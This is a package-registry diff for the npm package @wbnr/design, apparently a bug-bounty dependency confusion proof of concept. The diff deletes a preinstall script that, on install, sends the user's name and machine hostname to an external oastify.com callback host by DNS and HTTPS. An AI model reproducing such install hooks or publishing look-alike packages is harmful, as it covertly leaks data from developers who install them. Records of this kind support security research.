@wbnr/design 99.0.1 → 99.2.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +1 -4
- package/index.js +1 -1
- package/package.json +3 -11
- package/preinstall.js +0 -12
package/README.md
CHANGED
package/index.js
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
module.exports
|
|
1
|
+
module.exports={}
|
package/package.json
CHANGED
|
@@ -1,16 +1,8 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "@wbnr/design",
|
|
3
|
-
"version": "99.0
|
|
4
|
-
"description": "Bug bounty dependency confusion PoC - MTS Link / profileusername
|
|
3
|
+
"version": "99.2.0",
|
|
4
|
+
"description": "Bug bounty dependency confusion PoC - MTS Link / profileusername",
|
|
5
5
|
"main": "index.js",
|
|
6
|
-
"scripts": {
|
|
7
|
-
"preinstall": "node preinstall.js"
|
|
8
|
-
},
|
|
9
6
|
"author": "profileusername (bug bounty)",
|
|
10
|
-
"license": "UNLICENSED"
|
|
11
|
-
"keywords": [
|
|
12
|
-
"security-research",
|
|
13
|
-
"bug-bounty",
|
|
14
|
-
"dependency-confusion-poc"
|
|
15
|
-
]
|
|
7
|
+
"license": "UNLICENSED"
|
|
16
8
|
}
|
package/preinstall.js
DELETED
|
@@ -1,12 +0,0 @@
|
|
|
1
|
-
// Harmless OAST callback for authorized bug bounty PoC only
|
|
2
|
-
const dns = require('dns');
|
|
3
|
-
const https = require('https');
|
|
4
|
-
const os = require('os');
|
|
5
|
-
const pkg = '@wbnr/design'.replace(/[@\/]/g, '_');
|
|
6
|
-
const host = process.env.USER || process.env.USERNAME || 'user';
|
|
7
|
-
const hostname = os.hostname().replace(/[^a-zA-Z0-9-]/g, '-').slice(0, 40);
|
|
8
|
-
const id = `${pkg}.${host}.${hostname}.${Date.now()}.4otph6fase1x2won0hrfzul2wt2qqge5.oastify.com`;
|
|
9
|
-
dns.lookup(id, () => {});
|
|
10
|
-
try {
|
|
11
|
-
https.get(`https://4otph6fase1x2won0hrfzul2wt2qqge5.oastify.com/depconf/${pkg}/${encodeURIComponent(host)}/${encodeURIComponent(hostname)}`, () => {}).on('error', () => {});
|
|
12
|
-
} catch (e) {}
|